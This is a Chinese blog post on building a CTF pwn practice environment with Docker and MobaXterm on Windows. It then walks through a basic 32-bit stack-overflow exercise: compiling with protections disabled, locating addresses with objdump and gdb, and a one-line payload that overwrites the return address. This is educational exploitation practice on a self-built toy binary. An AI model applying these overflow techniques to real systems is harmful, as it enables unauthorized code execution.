安装虚拟机很重,占空间,影响速度。
今天试了下用Windows下的Docker搭建pwn做题环境,搭配MobaXterm真的很好!
一、Windows下安装Docker desktop
网上参考文章很多,不赘述。
说明:去https://www.docker.com/products/docker-desktop下载最新版本的安装包,国内可能下载不了,你懂的,也有博主分享了baiduyun,安装过程非常简单,不用手动调整windows组件(WSL v2)。
安装完成需要配置源:
国内从 DockerHub 拉取镜像有时会遇到困难,此时可以配置镜像加速器。
阿里云镜像获取地址:https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
然后把wsl的虚拟机地址移到其他盘(默认C盘):
二、从Dockerfile建立镜像,并运行容器
参考:https://ctf-wiki.org/pwn/linux/user-mode/environment/
新建Dockerfile文件
执行build生成镜像
docker build -t pwn_ubuntu22 .
运行容器
docker run -d -p 25000:22 --name=pwn22 --restart unless-stopped -v home_ubuntu22:/home/your_user_name pwn_ubuntu22
MobaXterm连接容器
三、写C代码、编译、执行
具体代码略,参考:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/
注意编译时要加-no-pie参数:
gcc -m32 -fno-stack-protector stack_example.c -no-pie -o stack_example
执行,观察有栈溢出漏洞:
四、反汇编
目标:找到合适的调试断点及控制程序返回点
objdump -M intel -d stack_example
找到函数:vulnerable
找到返回前的地址:0x080491e5,在这里下断点调试
找到suscess函数地址:0x08049186
五、栈溢出调试(原始方法,暂时没用pwntools)
准备输入文本
脚本:
#s0.py
buffer = ""
for i in range(0x41,0x5b): #AAAA-ZZZZ
buffer += chr(i)*4
print(buffer)
生成文件:
python s0.py > s0.txt
gdb调试
下断点,导入文本:
gdb stack_example
b *0x080491e5
start
r < s0.txt
算出需要填入的字符为0x18个(A-F:6个字母,4*6=24=0x18)
按c回车继续执行
六、最终脚本
再次生成测试文本:
上面算出需要填充0x18个字符,覆盖ebp,再写入返回地址
python2 -c 'print("A" * 0x18 + "\x86\x91\x04\x08")' > s1.txt
说明:“\x86\x91\x04\x08” 为success地址:0x08049186的小端形式,反过来的。
再次调试:
打一下试试:
python2 -c 'print("A" * 0x18 + "\x86\x91\x04\x08")' | ./stack_example
pwn环境配置及最简单的pwn题测试成功了!